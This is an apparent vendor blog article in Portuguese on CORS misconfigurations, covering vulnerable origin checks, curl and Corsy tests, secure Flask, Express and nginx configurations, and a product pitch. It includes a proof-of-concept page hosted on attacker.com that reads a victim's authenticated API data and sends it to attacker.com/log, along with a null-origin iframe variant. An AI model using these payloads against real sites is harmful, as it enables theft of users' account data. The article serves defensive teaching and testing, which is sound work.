As configurações incorretas do CORS são uma das vulnerabilidades mais consistentemente recompensadas em programas de bug bounty – e uma das mais subestimadas. Um único cabeçalho Access-Control-Allow-Origin header pode expor cada endpoint de API autenticado a domínios controlados pelo invasor.
Por padrão, os navegadores impõem o Política de Mesma Origem (SOP): JavaScript em execução attacker.com não consigo ler as respostas de bank.com. CORS é o mecanismo que relaxa essa restrição — e quando mal configurada, pode prejudicar completamente o SOP.
O Cross-Origin Resource Sharing (CORS) é um mecanismo baseado em cabeçalho HTTP que permite a um servidor indicar quais origens (domínio + esquema + porta) diferentes da sua própria têm permissão para ler suas respostas. Quando um navegador faz uma solicitação de origem cruzada, ele impõe a política CORS do servidor.
Os cabeçalhos críticos para entender:
Access-Control-Allow-Origin — especifica qual origem pode ler a respostaAccess-Control-Allow-Credentials — se cookies/cabeçalhos de autenticação estão incluídosAccess-Control-Allow-Methods — métodos HTTP permitidosAccess-Control-Allow-Headers — cabeçalhos de solicitação permitidosAccess-Control-Expose-Headers — cabeçalhos de resposta visíveis para JavaScriptA vulnerabilidade mais crítica ocorre quando um servidor retorna ambos Access-Control-Allow-Origin: [attacker-controlled] AND Access-Control-Allow-Credentials: true. Isso significa que os invasores podem fazer solicitações autenticadas em seus sites e ler as respostas.
Navegadores rejeitam Access-Control-Allow-Origin: * combinado com credenciais. Os desenvolvedores muitas vezes tentam isso e depois “consertam” refletindo a origem dinamicamente – criando uma vulnerabilidade pior.
# Vulnerable server-side logic (Python/Flask)
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # NEVER DO THIS
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
Qualquer origem agora pode ler respostas autenticadas. Esta é a vulnerabilidade CORS mais comum encontrada em bug bounty.
# Vulnerable: checks if trusted domain appears ANYWHERE in origin
if 'trusted-bank.com' in request.headers.get('Origin', ''):
# Bypass: attacker registers evil-trusted-bank.com or trusted-bank.com.evil.com
allow_origin(origin)
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
O null origin pode ser acionado por meio de iframes em sandbox, redirecionamentos e URLs file://. Os invasores podem criar páginas que enviam solicitações com Origin: null.
# Meant to allow *.company.com but also allows evil.company.com.attacker.com
if origin.endswith('.company.com'):
allow_origin(origin)
Quando Access-Control-Max-Age estiver definido, as respostas pré-voo armazenadas em cache poderão ser exploradas se a lógica de validação de origem for alterada sem invalidação do cache.
# Test 1: Basic reflection check
curl -s -I -H "Origin: https://evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 3: Subdomain bypass
curl -s -I -H "Origin: https://target.com.evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 4: Pre-domain bypass
curl -s -I -H "Origin: https://eviltarget.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Install and run Corsy
pip install corsy
python3 corsy.py -u https://target.com -t 10
# Scan a list of URLs
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"
No Burp Suite Pro, o Scanner ativo testa automaticamente configurações incorretas do CORS. Para testes manuais, use o Extensão CORS* da BApp Store. Passos:
Origin: https://evil.com headerAccess-Control-Allow-OriginAccess-Control-Allow-Credentials: true também está presente| Resposta | Gravidade | Explorável? |
|---|---|---|
ACAO: * | Baixo-médio | Somente sem credenciais |
ACAO: [evil origin] only | Médio | Sem credenciais |
ACAO: [evil origin] + ACAC: true | Crítico | Sim – roubo total de credenciais |
ACAO: null + ACAC: true | Alto | Via iframe em sandbox |
O PoC a seguir demonstra o impacto das configurações incorretas do CORS. Teste apenas em aplicativos de sua propriedade ou que tenha permissão explícita por escrito para testar.
<!-- Hosted on attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
credentials: 'include', // Sends cookies
mode: 'cors'
})
.then(r => r.text())
.then(data => {
// Exfiltrate to attacker's server
fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS blocked:', e));
</script>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://victim.com/api/userdata', {credentials:'include'})
.then(r=>r.text())
.then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>
<script>
window.addEventListener('message', e => {
fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>
Se um subdomínio confiável (por exemplo, legacy.victim.com) está disponível para aquisição e a API confia *.victim.com, combinar a aquisição de subdomínio com CORS cria uma cadeia de impacto crítica.
Um pesquisador descobriu que o endpoint da API de pagamento /api/v2/payment-methods refletiu qualquer cabeçalho de origem com credenciais. Ao hospedar uma página maliciosa em um domínio semelhante, eles podiam ler silenciosamente os metadados do cartão de crédito salvos das vítimas (últimos 4 dígitos, vencimento, endereço de cobrança) e o saldo da conta quando a vítima visitava a página do invasor.
O portal de pacientes de uma empresa de saúde aceitou solicitações de null origens. A API de administração interna usou a mesma política CORS que a API voltada para o paciente. O iframe em sandbox de um invasor pode ler PHI (Protected Health Information) de sessões autenticadas – uma violação direta da HIPAA.
| Empresa | Vulnerabilidade | Pagamento |
|---|---|---|
| Shopify | Reflexão de origem no comerciante API | US$ 25,000 |
| Uber | Confiança de subdomínio curinga | US$ 3,000 |
| Yahoo | Aceitação de origem nula | US$ 2,500 |
| Starbucks | Ignorar pré-domínio | US$ 4,000 |
# Python/Flask - Secure Implementation
ALLOWED_ORIGINS = {
'https://app.company.com',
'https://admin.company.com',
'https://company.com'
}
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin' # Critical for caching!
return response
// Node.js/Express - Secure Implementation
const allowedOrigins = new Set([
'https://app.company.com',
'https://company.com'
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
next();
});
# nginx.conf - Secure CORS
map $http_origin $cors_origin {
default "";
"https://app.company.com" $http_origin;
"https://company.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin) {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
}
# Never use: add_header 'Access-Control-Allow-Origin' '*';
}
}
*) com credenciaisnull origem na produçãoVary: Origin cabeçalho ao configurar dinamicamente ACAOCSRF explora o envio automático de cookies do navegador para solicitações (gravações) de alteração de estado. O invasor não precisa ler a resposta. Configurações incorretas do CORS permitir que os invasores ler respostas de origem cruzada. Ambos exigem que a vítima seja autenticada. O CORS NÃO protege contra CSRF – use tokens CSRF para isso.
# Add to your security pipeline (e.g., GitHub Actions)
- name: CORS Security Scan
run: |
# Test critical endpoints
for endpoint in /api/user /api/account /api/payments; do
response=$(curl -s -I \
-H "Origin: https://evil-test-domain.com" \
"https://${{ env.TARGET_URL }}$endpoint")
if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
echo "CORS MISCONFIGURATION DETECTED: $endpoint"
exit 1
fi
done
echo "CORS check passed"
KENSAI verifica configurações incorretas de CORS, vulnerabilidades de origem refletidas e problemas de confiança de origem nula em todos os seus endpoints API – continuamente.
Iniciar verificação gratuita →A gravidade depende da combinação de cabeçalhos. Access-Control-Allow-Origin: * sozinho (sem credenciais) é de gravidade baixa-média. Os casos críticos envolvem origem arbitrária/refletida E Access-Control-Allow-Credentials: true — isso permite o sequestro completo de sessões e o roubo de dados.
As explorações do CORS exigem que a vítima visite a página do invasor com uma sessão ativa no site alvo. A exploração acontece silenciosamente em segundo plano – a vítima não vê nada. Isto os torna particularmente perigosos em cenários de phishing.
Não. CORS é um mecanismo de flexibilização de política de mesma origem e opera independentemente de HTTPS ser usado. O esquema (http vs https) faz parte da origem, mas usar HTTPS não corrige configurações incorretas do CORS.
O scanner ativo do KENSAI testa todos os endpoints API com cabeçalhos de origem modificados, verificando origens refletidas, aceitação de origem nula e a combinação crítica de origens refletidas com suporte de credencial. As descobertas são priorizadas pela capacidade de exploração real, não apenas pela presença do cabeçalho.
A segurança não é opcional.
🗡️ A equipe KENSAI